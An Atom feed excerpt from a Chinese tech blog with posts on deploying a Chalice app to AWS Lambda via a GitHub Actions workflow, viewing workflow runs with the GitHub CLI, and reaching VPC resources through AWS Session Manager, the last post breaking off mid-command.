    <title>自动化部署的艺术：用 GitHub Action 部署 Python 编写的 Chalice 应用到 AWS Lambda</title>
    <link href="https://ming.theyan.gs/2023/08/%E7%94%A8%20GitHub%20Action%20%E9%83%A8%E7%BD%B2%20Python%20%E4%BB%A3%E7%A0%81%E7%BC%96%E5%86%99%E7%9A%84%20Chalice%20%E5%BA%94%E7%94%A8%E5%88%B0%20AWS%20Lambda/index.html"/>
    <id>https://ming.theyan.gs/2023/08/%E7%94%A8%20GitHub%20Action%20%E9%83%A8%E7%BD%B2%20Python%20%E4%BB%A3%E7%A0%81%E7%BC%96%E5%86%99%E7%9A%84%20Chalice%20%E5%BA%94%E7%94%A8%E5%88%B0%20AWS%20Lambda/index.html</id>
    <published>2023-08-12T11:43:38.000Z</published>
    <updated>2023-08-17T13:39:36.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="缘起"><a href="#缘起" class="headerlink" title="缘起"></a>缘起</h2><p>大家好，我是老杨。在这篇文章中，我将带大家深入了解如何利用 GitHub Action 自动化部署 Chalice 应用到 AWS Lambda。这不仅是一个技术实践，也是对 CI&#x2F;CD 流程优化的一次探索。</p><p>在现代软件开发中，快速迭代和持续部署是提高开发效率的关键。Chalice 是一个用于部署 Python 应用到 AWS Lambda 的框架，而 GitHub Action 提供了一个强大的自动化平台。结合这两者，我们可以创建一个无缝的部署流程。</p><span id="more"></span><h2 id="Chalice-简介"><a href="#Chalice-简介" class="headerlink" title="Chalice 简介"></a>Chalice 简介</h2><p>Chalice 是一个 Python 框架，它使得在 AWS Lambda 和 API Gateway 上部署无服务器应用变得简单。它允许开发者使用熟悉的 Python 语法来定义 Lambda 函数和 RESTful API，同时提供了丰富的配置选项来满足不同的部署需求。</p><h2 id="GitHub-Action-工作流详解"><a href="#GitHub-Action-工作流详解" class="headerlink" title="GitHub Action 工作流详解"></a>GitHub Action 工作流详解</h2><p>让我们来看一下这个工作流的核心内容。以下是一个简化的工作流文件示例，它展示了如何配置和执行部署任务。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">name:</span> <span class="string">Deploy</span> <span class="string">xxxxx-indexer</span> <span class="string">manually</span> <span class="string">using</span> <span class="string">Chalice</span></span><br><span class="line"><span class="attr">run-name:</span> <span class="string">Deploy</span> <span class="string">xxxxx-indexer</span> <span class="string">$&#123;&#123;</span> <span class="string">inputs.branch</span> <span class="string">&#125;&#125;-&gt;$&#123;&#123;</span> <span class="string">inputs.environment</span> <span class="string">&#125;&#125;</span> <span class="string">by</span> <span class="string">@$&#123;&#123;</span> <span class="string">github.actor</span> <span class="string">&#125;&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="attr">on:</span></span><br><span class="line">  <span class="attr">workflow_dispatch:</span></span><br><span class="line">    <span class="attr">inputs:</span></span><br><span class="line">      <span class="attr">branch:</span></span><br><span class="line">        <span class="attr">description:</span> <span class="string">&#x27;Branch to deploy&#x27;</span></span><br><span class="line">        <span class="attr">required:</span> <span class="literal">true</span></span><br><span class="line">        <span class="attr">default:</span> <span class="string">&#x27;v1.1&#x27;</span></span><br><span class="line">      <span class="attr">environment:</span></span><br><span class="line">        <span class="attr">description:</span> <span class="string">&#x27;Deployment environment&#x27;</span></span><br><span class="line">        <span class="attr">required:</span> <span class="literal">true</span></span><br><span class="line">        <span class="attr">default:</span> <span class="string">&#x27;dev&#x27;</span></span><br><span class="line">        <span class="attr">type:</span> <span class="string">choice</span></span><br><span class="line">        <span class="attr">options:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="string">prod</span></span><br><span class="line">          <span class="bullet">-</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">env:</span></span><br><span class="line">  <span class="attr">env_vars:</span> <span class="string">&#x27;&#123;&quot;prod&quot;: &quot;1111&quot;, &quot;dev&quot;: &quot;2222&quot;&#125;&#x27;</span></span><br><span class="line">  <span class="attr">project_directory:</span> <span class="string">&#x27;xxxx-indexer&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="attr">jobs:</span></span><br><span class="line">  <span class="attr">deploy-job:</span></span><br><span class="line">    <span class="attr">runs-on:</span> <span class="string">ubuntu-latest</span></span><br><span class="line"></span><br><span class="line">    <span class="attr">steps:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Checkout</span> <span class="string">code</span></span><br><span class="line">        <span class="attr">uses:</span> <span class="string">actions/checkout@v4</span></span><br><span class="line">        <span class="attr">with:</span></span><br><span class="line">          <span class="attr">token:</span> <span class="string">$&#123;&#123;</span> <span class="string">secrets.TOKEN_CICD</span> <span class="string">&#125;&#125;</span></span><br><span class="line">          <span class="attr">ref:</span> <span class="string">$&#123;&#123;</span> <span class="string">github.event.inputs.branch</span> <span class="string">&#125;&#125;</span></span><br><span class="line">          <span class="attr">sparse-checkout:</span> <span class="string">$&#123;&#123;</span> <span class="string">env.project_directory</span> <span class="string">&#125;&#125;</span></span><br><span class="line">          <span class="attr">sparse-checkout-cone-mode:</span> <span class="literal">false</span></span><br><span class="line"></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Delete</span> <span class="string">configuration</span> <span class="string">files</span> <span class="string">for</span> <span class="string">chalice</span></span><br><span class="line">        <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line"><span class="string">          [[ -e $&#123;&#123; env.project_directory &#125;&#125;/.chalice ]] &amp;&amp; \</span></span><br><span class="line"><span class="string">            rm -rf $&#123;&#123; env.project_directory &#125;&#125;/.chalice</span></span><br><span class="line"><span class="string"></span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Checkout</span> <span class="string">configuration</span> <span class="string">files</span> <span class="string">for</span> <span class="string">CI/CD</span></span><br><span class="line">        <span class="attr">uses:</span> <span class="string">actions/checkout@v4</span></span><br><span class="line">        <span class="attr">with:</span></span><br><span class="line">          <span class="attr">repository:</span> <span class="string">xxxx-xxxx/CICD</span></span><br><span class="line">          <span class="attr">token:</span> <span class="string">$&#123;&#123;</span> <span class="string">secrets.TOKEN_CICD</span> <span class="string">&#125;&#125;</span></span><br><span class="line">          <span class="attr">ref:</span> <span class="string">main</span></span><br><span class="line">          <span class="attr">sparse-checkout:</span> <span class="string">chalice/$&#123;&#123;</span> <span class="string">env.project_directory</span> <span class="string">&#125;&#125;</span></span><br><span class="line">          <span class="attr">sparse-checkout-cone-mode:</span> <span class="literal">false</span></span><br><span class="line">          <span class="attr">path:</span> <span class="string">config-chalice</span></span><br><span class="line"></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Make</span> <span class="string">a</span> <span class="string">symbolic(soft)</span> <span class="string">link</span></span><br><span class="line">        <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line"><span class="string">          ln -srv \</span></span><br><span class="line"><span class="string">             config-chalice/chalice/$&#123;&#123; env.project_directory &#125;&#125;/.chalice \</span></span><br><span class="line"><span class="string">             $&#123;&#123; env.project_directory &#125;&#125;/</span></span><br><span class="line"><span class="string">          echo &quot;after checkout CI/CD:&quot;</span></span><br><span class="line"><span class="string">          ls -lRa $&#123;&#123; env.project_directory &#125;&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Set</span> <span class="string">up</span> <span class="string">Python</span></span><br><span class="line">        <span class="attr">uses:</span> <span class="string">actions/setup-python@v5</span></span><br><span class="line">        <span class="attr">with:</span></span><br><span class="line">          <span class="attr">python-version:</span> <span class="string">&#x27;3.9&#x27;</span></span><br><span class="line"></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">uses:</span> <span class="string">actions/cache@v4</span></span><br><span class="line">        <span class="attr">with:</span></span><br><span class="line">          <span class="attr">path:</span> <span class="string">~/.cache/pip</span></span><br><span class="line">          <span class="attr">key:</span> <span class="string">$&#123;&#123;</span> <span class="string">runner.os</span> <span class="string">&#125;&#125;-pip-$&#123;&#123;</span> <span class="string">hashFiles(&#x27;**/requirements.txt&#x27;)</span> <span class="string">&#125;&#125;</span></span><br><span class="line">          <span class="attr">restore-keys:</span> <span class="string">|</span></span><br><span class="line"><span class="string">            $&#123;&#123; runner.os &#125;&#125;-pip-</span></span><br><span class="line"><span class="string"></span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Install</span> <span class="string">dependencies</span></span><br><span class="line">        <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line"><span class="string">          cd $&#123;&#123; env.project_directory &#125;&#125;</span></span><br><span class="line"><span class="string">          pip install -r requirements.txt</span></span><br><span class="line"><span class="string">          pip install chalice</span></span><br><span class="line"><span class="string"></span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Prepare</span> <span class="string">the</span> <span class="string">.chalice/config.json</span></span><br><span class="line">        <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line"><span class="string">          cd $&#123;&#123; env.project_directory &#125;&#125;</span></span><br><span class="line"><span class="string">          sed -e &quot;s:___GH-REF___:$&#123;&#123; github.event.inputs.branch &#125;&#125;:g&quot; \</span></span><br><span class="line"><span class="string">              -e &quot;s/___GH-COMMIT-ID___/$(git log -1 --format=&#x27;%H&#x27;)/g&quot; \</span></span><br><span class="line"><span class="string">              -e &quot;s/___DBPASSWORD___/$&#123;&#123; secrets[format(&#x27;DB_PWD_&#123;0&#125;&#x27;, fromJson(env.env_vars)[github.event.inputs.environment])] &#125;&#125;/g&quot; \</span></span><br><span class="line"><span class="string">              -e &quot;s:___GH-REPOSITORY___:$&#123;&#123; github.repository &#125;&#125;:g&quot; \</span></span><br><span class="line"><span class="string">              -e &quot;s:___GH-DIRECTORY___:$&#123;&#123; env.project_directory &#125;&#125;:g&quot; \</span></span><br><span class="line"><span class="string">              -i .chalice/config.json</span></span><br><span class="line"><span class="string">          echo &quot;the content of file .chalice/config.json:&quot;</span></span><br><span class="line"><span class="string">          cat .chalice/config.json</span></span><br><span class="line"><span class="string"></span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Configure</span> <span class="string">AWS</span> <span class="string">Credentials</span></span><br><span class="line">        <span class="attr">uses:</span> <span class="string">aws-actions/configure-aws-credentials@v4</span></span><br><span class="line">        <span class="attr">with:</span></span><br><span class="line">          <span class="attr">aws-region:</span> <span class="string">$&#123;&#123;</span> <span class="string">vars[format(&#x27;AWS_REGION_&#123;0&#125;&#x27;,</span> <span class="string">fromJson(env.env_vars)[github.event.inputs.environment])]</span> <span class="string">&#125;&#125;</span></span><br><span class="line">          <span class="attr">aws-access-key-id:</span> <span class="string">$&#123;&#123;</span> <span class="string">secrets[format(&#x27;AWS_ACCESS_KEY_ID_&#123;0&#125;&#x27;,</span> <span class="string">fromJson(env.env_vars)[github.event.inputs.environment])]</span> <span class="string">&#125;&#125;</span></span><br><span class="line">          <span class="attr">aws-secret-access-key:</span> <span class="string">$&#123;&#123;</span> <span class="string">secrets[format(&#x27;AWS_SECRET_ACCESS_KEY_&#123;0&#125;&#x27;,</span> <span class="string">fromJson(env.env_vars)[github.event.inputs.environment])]</span> <span class="string">&#125;&#125;</span></span><br><span class="line"></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Deploy</span> <span class="string">Chalice</span></span><br><span class="line">        <span class="attr">id:</span> <span class="string">deploy-step</span></span><br><span class="line">        <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line"><span class="string">          cd $&#123;&#123; env.project_directory &#125;&#125;</span></span><br><span class="line"><span class="string">          chalice deploy --stage $&#123;&#123; github.event.inputs.environment &#125;&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Check</span> <span class="string">for</span> <span class="string">files</span> <span class="string">changed</span></span><br><span class="line">        <span class="attr">id:</span> <span class="string">git_status</span></span><br><span class="line">        <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line"><span class="string">          cd config-chalice/chalice/$&#123;&#123; env.project_directory &#125;&#125;/.chalice</span></span><br><span class="line"><span class="string">          git status -s</span></span><br><span class="line"><span class="string">          file_changed=$(if git status -s | grep -q &quot;deployed/$&#123;&#123; github.event.inputs.environment &#125;&#125;.json&quot;; then echo &#x27;true&#x27;; else echo &#x27;false&#x27;; fi)</span></span><br><span class="line"><span class="string">          echo &quot;changed=$&#123;file_changed&#125;&quot; &gt;&gt; $GITHUB_OUTPUT</span></span><br><span class="line"><span class="string"></span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Commit</span> <span class="string">and</span> <span class="string">push</span> <span class="string">changes</span></span><br><span class="line">        <span class="attr">if:</span> <span class="string">$&#123;&#123;</span> <span class="string">steps.git_status.outputs.changed</span> <span class="string">==</span> <span class="string">&#x27;true&#x27;</span> <span class="string">&#125;&#125;</span></span><br><span class="line">        <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line"><span class="string">          cd config-chalice/chalice/$&#123;&#123; env.project_directory &#125;&#125;/.chalice</span></span><br><span class="line"><span class="string">          git config --local user.email &quot;contact@xxx.xxx&quot;</span></span><br><span class="line"><span class="string">          git config --local user.name &quot;contact-xxx&quot;</span></span><br><span class="line"><span class="string">          git config --local pull.rebase false</span></span><br><span class="line"><span class="string">          git add deployed/$&#123;&#123; github.event.inputs.environment &#125;&#125;.json</span></span><br><span class="line"><span class="string">          git commit -m &quot;Update deployed files at $(date)&quot;</span></span><br><span class="line"><span class="string">          git pull</span></span><br><span class="line"><span class="string">          git push</span></span><br></pre></td></tr></table></figure><p>在这个工作流中，我们定义了两个输入参数：<code>branch</code> 和 <code>environment</code>。这允许我们在启动工作流时指定要部署的分支和环境。我们还设置了环境变量，这些变量在部署过程中会被用来配置应用。</p><p>接下来，工作流会检出指定分支的代码，删除现有的 Chalice 配置文件，并从 CI&#x2F;CD 仓库中检出新的配置。然后，我们设置 Python 环境，安装依赖，准备配置文件，并配置 AWS 凭证。最后，我们执行 Chalice 部署命令，将应用部署到 AWS Lambda。</p><h2 id="GitHub-Action-缓存功能"><a href="#GitHub-Action-缓存功能" class="headerlink" title="GitHub Action 缓存功能"></a>GitHub Action 缓存功能</h2><p>在我们的工作流中，<code>actions/cache</code> 用于缓存 Python 的 pip 依赖。这可以显著提高后续部署的效率，因为依赖项不需要每次都重新下载。缓存的键是基于操作系统和依赖文件的哈希值，这确保了缓存的一致性和可恢复性。</p><h2 id="CI-CD-仓库中的-JSON-文件推送"><a href="#CI-CD-仓库中的-JSON-文件推送" class="headerlink" title="CI&#x2F;CD 仓库中的 JSON 文件推送"></a>CI&#x2F;CD 仓库中的 JSON 文件推送</h2><p>在部署完成后，Chalice 生成的 JSON 文件包含了部署的详细信息。将这个文件推送回 CI&#x2F;CD 仓库有助于我们跟踪部署历史，管理配置，并在必要时进行回滚。这是一种确保部署过程透明和可审计的重要实践。</p><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>通过这个详细的 GitHub Action 工作流，我们实现了 Chalice 应用的自动化部署。这个过程不仅简化了部署步骤，还提高了部署的可靠性。我希望这篇文章能够帮助你更好地理解如何利用 GitHub Action 来优化你的 CI&#x2F;CD 流程。</p><p>如果你有任何问题，或者想要了解更多关于这个话题的信息，欢迎留言讨论。别忘了点赞和分享哦！</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;缘起&quot;&gt;&lt;a href=&quot;#缘起&quot; class=&quot;headerlink&quot; title=&quot;缘起&quot;&gt;&lt;/a&gt;缘起&lt;/h2&gt;&lt;p&gt;大家好，我是老杨。在这篇文章中，我将带大家深入了解如何利用 GitHub Action 自动化部署 Chalice 应用到 AWS Lambda。这不仅是一个技术实践，也是对 CI&amp;#x2F;CD 流程优化的一次探索。&lt;/p&gt;
&lt;p&gt;在现代软件开发中，快速迭代和持续部署是提高开发效率的关键。Chalice 是一个用于部署 Python 应用到 AWS Lambda 的框架，而 GitHub Action 提供了一个强大的自动化平台。结合这两者，我们可以创建一个无缝的部署流程。&lt;/p&gt;</summary>
    
    
    
    
    <category term="Chalice" scheme="https://ming.theyan.gs/tags/Chalice/"/>
    
    <category term="Python" scheme="https://ming.theyan.gs/tags/Python/"/>
    
    <category term="DevOps" scheme="https://ming.theyan.gs/tags/DevOps/"/>
    
    <category term="CI/CD" scheme="https://ming.theyan.gs/tags/CI-CD/"/>
    
    <category term="GitHub-Action" scheme="https://ming.theyan.gs/tags/GitHub-Action/"/>
    
    <category term="AWS-Lambda" scheme="https://ming.theyan.gs/tags/AWS-Lambda/"/>
    
    <category term="Automation" scheme="https://ming.theyan.gs/tags/Automation/"/>
    
    <category term="Deployment" scheme="https://ming.theyan.gs/tags/Deployment/"/>
    
    <category term="Serverless" scheme="https://ming.theyan.gs/tags/Serverless/"/>
    
  </entry>
  
  <entry>
    <title>用 GitHub CLI 来查看 GitHub Action 执行情况</title>
    <link href="https://ming.theyan.gs/2023/07/%E7%94%A8%20GitHub%20CLI%20%E6%9D%A5%E6%9F%A5%E7%9C%8B%20GitHub%20Action%20%E6%89%A7%E8%A1%8C%E6%83%85%E5%86%B5/index.html"/>
    <id>https://ming.theyan.gs/2023/07/%E7%94%A8%20GitHub%20CLI%20%E6%9D%A5%E6%9F%A5%E7%9C%8B%20GitHub%20Action%20%E6%89%A7%E8%A1%8C%E6%83%85%E5%86%B5/index.html</id>
    <published>2023-07-09T11:45:27.000Z</published>
    <updated>2023-07-20T14:12:25.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="缘起"><a href="#缘起" class="headerlink" title="缘起"></a>缘起</h2><p>最近相当长一段时间，都在调 GitHub action 的 workflow 比较多，而 GitHub  官网时不时抽风，于是就有了在命令行看 GitHub action jobs 的执行情况的需求。</p><span id="more"></span><h2 id="环境准备"><a href="#环境准备" class="headerlink" title="环境准备"></a>环境准备</h2><h3 id="GitHub-CLI-安装"><a href="#GitHub-CLI-安装" class="headerlink" title="GitHub CLI 安装"></a>GitHub CLI 安装</h3><h4 id="brew"><a href="#brew" class="headerlink" title="brew"></a>brew</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">brew install gh</span><br></pre></td></tr></table></figure><h4 id="二进制文件"><a href="#二进制文件" class="headerlink" title="二进制文件"></a>二进制文件</h4><p>下载链接：<a href="https://github.com/cli/cli/releases/download/v2.40.0/gh_2.40.0_macOS_amd64.zip">https://github.com/cli/cli/releases/download/v2.40.0/gh_2.40.0_macOS_amd64.zip</a></p><h3 id="GitHub-CLI-配置"><a href="#GitHub-CLI-配置" class="headerlink" title="GitHub CLI 配置"></a>GitHub CLI 配置</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gh auth login</span><br></pre></td></tr></table></figure><p>然后按照提示一步一步走就行了。<br>但是我建议的还是下面这种：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gh auth login --with-token &lt; mytoken.txt</span><br></pre></td></tr></table></figure><p>这里的 mytoken.txt 里的内容来自于：GitHub 官网右上角依次点击 个人头像-&gt;Settings，再点左边栏下方 “Developer Settings”，然后再在左边栏点击 “Personal access tokens” 下的 “Tokens(classic)”，在这个页面里创建一个 “PAT(personal access token)”，这个放在 mytoken.txt 文件里就好了。</p><h2 id="GitHub-CLI-的使用"><a href="#GitHub-CLI-的使用" class="headerlink" title="GitHub CLI 的使用"></a>GitHub CLI 的使用</h2><p>能用的场景很多，我只讲下我用的场景</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> xxxxxxxxxxx</span><br><span class="line"><span class="comment"># &quot;xxxxxxxxxxx&quot; 是 clone 下来的 GitHub 上的某个 repository 的目录</span></span><br><span class="line">gh run list</span><br><span class="line"><span class="comment"># 获取这个 repository 当前正在跑的 GitHub Action 的 workflow 列表</span></span><br><span class="line"><span class="comment"># 注意输出里有个 ID，数字的，记下来</span></span><br><span class="line">gh run view 7142031754</span><br><span class="line"><span class="comment"># 这里的 &quot;7142031754&quot; 就是上一步看到的在跑的 workflow 中你感兴趣的 ID</span></span><br><span class="line"><span class="comment"># 注意：这里输出中会有这个 workflow 正在运行的 job id，记下来</span></span><br><span class="line">gh run view --job=19450447397</span><br><span class="line"><span class="comment"># 这里的 &quot;19450447397&quot; 就是上一步记下来的那个 job 的 ID</span></span><br><span class="line"><span class="comment"># 等这个 job 执行完成以后，可以用下面这个命令来看完整的执行情况</span></span><br><span class="line">gh run view --<span class="built_in">log</span> --job=19450447397</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;缘起&quot;&gt;&lt;a href=&quot;#缘起&quot; class=&quot;headerlink&quot; title=&quot;缘起&quot;&gt;&lt;/a&gt;缘起&lt;/h2&gt;&lt;p&gt;最近相当长一段时间，都在调 GitHub action 的 workflow 比较多，而 GitHub  官网时不时抽风，于是就有了在命令行看 GitHub action jobs 的执行情况的需求。&lt;/p&gt;</summary>
    
    
    
    
    <category term="github" scheme="https://ming.theyan.gs/tags/github/"/>
    
    <category term="github_cli" scheme="https://ming.theyan.gs/tags/github-cli/"/>
    
    <category term="github_action" scheme="https://ming.theyan.gs/tags/github-action/"/>
    
    <category term="gh" scheme="https://ming.theyan.gs/tags/gh/"/>
    
    <category term="workflow" scheme="https://ming.theyan.gs/tags/workflow/"/>
    
    <category term="job" scheme="https://ming.theyan.gs/tags/job/"/>
    
  </entry>
  
  <entry>
    <title>利用 AWS Session Manager 访问 VPC 内网的资源</title>
    <link href="https://ming.theyan.gs/2023/06/%E5%88%A9%E7%94%A8%20AWS%20Session%20Manager%20%E8%AE%BF%E9%97%AE%20VPC%20%E5%86%85%E7%BD%91%E7%9A%84%E8%B5%84%E6%BA%90/index.html"/>
    <id>https://ming.theyan.gs/2023/06/%E5%88%A9%E7%94%A8%20AWS%20Session%20Manager%20%E8%AE%BF%E9%97%AE%20VPC%20%E5%86%85%E7%BD%91%E7%9A%84%E8%B5%84%E6%BA%90/index.html</id>
    <published>2023-06-07T11:25:17.000Z</published>
    <updated>2023-06-09T13:47:21.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="缘起"><a href="#缘起" class="headerlink" title="缘起"></a>缘起</h1><p>因为数据库放 VPC 私网网段里了，然后研发有各种直连数据库的需求，其实也有 VPN 方案，但有的研发认为先拨 VPN 不太方便，而我正好认识到 ssm，觉得挺有意思，所以就有了这篇文章的出炉。</p><p>其实实际上，都有了 EC2 了，直接上面建账号，几乎所有的 MySQL 的 GUI 客户端，都支持 ssh tunnel 来连数据库，这样就不需要手工命令自己打洞了，MySQL 的 GUI 客户端就一起给你搞定了，这部分还会再水一篇文章。可是，真的值得吗？后话再说。但 ssm plugin 方案比 ssh tunnel 方案更牛逼的一点是：ssm plugin 方案里，EC2 不需要有公网地址！</p><span id="more"></span><h1 id="本地安装-aws-cli-和-Session-Manager-plugin"><a href="#本地安装-aws-cli-和-Session-Manager-plugin" class="headerlink" title="本地安装 aws-cli 和 Session Manager plugin"></a>本地安装 aws-cli 和 Session Manager plugin</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 我的本地环境是 Macbook Air (m1)，</span></span><br><span class="line"><span class="comment"># 其他环境可能命令不一样</span></span><br><span class="line">curl \</span><br><span class="line">    <span class="string">&quot;https://awscli.amazonaws.com/AWSCLIV2.pkg&quot;</span> \</span><br><span class="line">    -o <span class="string">&quot;AWSCLIV2.pkg&quot;</span></span><br><span class="line"><span class="built_in">sudo</span> installer \</span><br><span class="line">    -pkg AWSCLIV2.pkg \</span><br><span class="line">    -target /</span><br><span class="line"><span class="comment"># 以上命令是安装 aws-cli。</span></span><br><span class="line"><span class="comment"># 然后当然还需要配置 aws --configure</span></span><br><span class="line"><span class="comment"># 或 aws --profile xxx --configure</span></span><br><span class="line">curl \</span><br><span class="line">    <span class="string">&quot;https://s3.amazonaws.com/session-manager-downloads/plugin/latest/mac_arm64/session-manager-plugin.pkg&quot;</span> \</span><br><span class="line">    -o <span class="string">&quot;session-manager-plugin.pkg&quot;</span></span><br><span class="line"><span class="built_in">sudo</span> installer \</span><br><span class="line">    -pkg session-manager-plugin.pkg \</span><br><span class="line">    -target /</span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">ln</span> \</span><br><span class="line">    -s /usr/local/sessionmanagerplugin/bin/session-manager-plugin \</span><br><span class="line">    /usr/local/bin/session-manager-plugin</span><br></pre></td></tr></table></figure><p>如果是Windows环境，可从以下网址下载session-manager-plugin并安装</p><p><a href="https://s3.amazonaws.com/session-manager-downloads/plugin/latest/windows/SessionManagerPluginSetup.exe">https://s3.amazonaws.com/session-manager-downloads/plugin/latest/windows/SessionManagerPluginSetup.exe</a></p><h1 id="具体使用"><a href="#具体使用" class="headerlink" title="具体使用"></a>具体使用</h1><h2 id="场景一：登录服务器"><a href="#场景一：登录服务器" class="headerlink" title="场景一：登录服务器"></a>场景一：登录服务器</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">aws \</span><br><span class="line">    --profile VFans-<span class="built_in">test</span> \</span><br><span class="line">    ssm start-session \</span><br><span class="line">    --target i-0xxxxxxxxxxxxxx7</span><br></pre></td></tr></table></figure><p>最后成功后显示：</p><p><img src="https://raw.githubusercontent.com/haw-haw/image-hosting/master/img/Screenshot%202023-10-26%20at%2010.08.02.png"></p><p>Note: 这种“登录” EC2 服务器跟 ssh 登录 EC2 服务器相比，缺点就是不能上传下载数据。</p><h2 id="场景二：打洞到-RDS"><a href="#场景二：打洞到-RDS" class="headerlink" title="场景二：打洞到 RDS"></a>场景二：打洞到 RDS</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">aws \</span><br><span class="line">    --profile VFans-<span class="built_in">test</span> \</span><br><span class="line">    ssm start-session \</span><br><span class="line">    --target i-0xxxxxxxxxxxxxxx7 \</span><br><span class="line">    --document-name AWS-StartPortForwardingSessionToRemoteHost 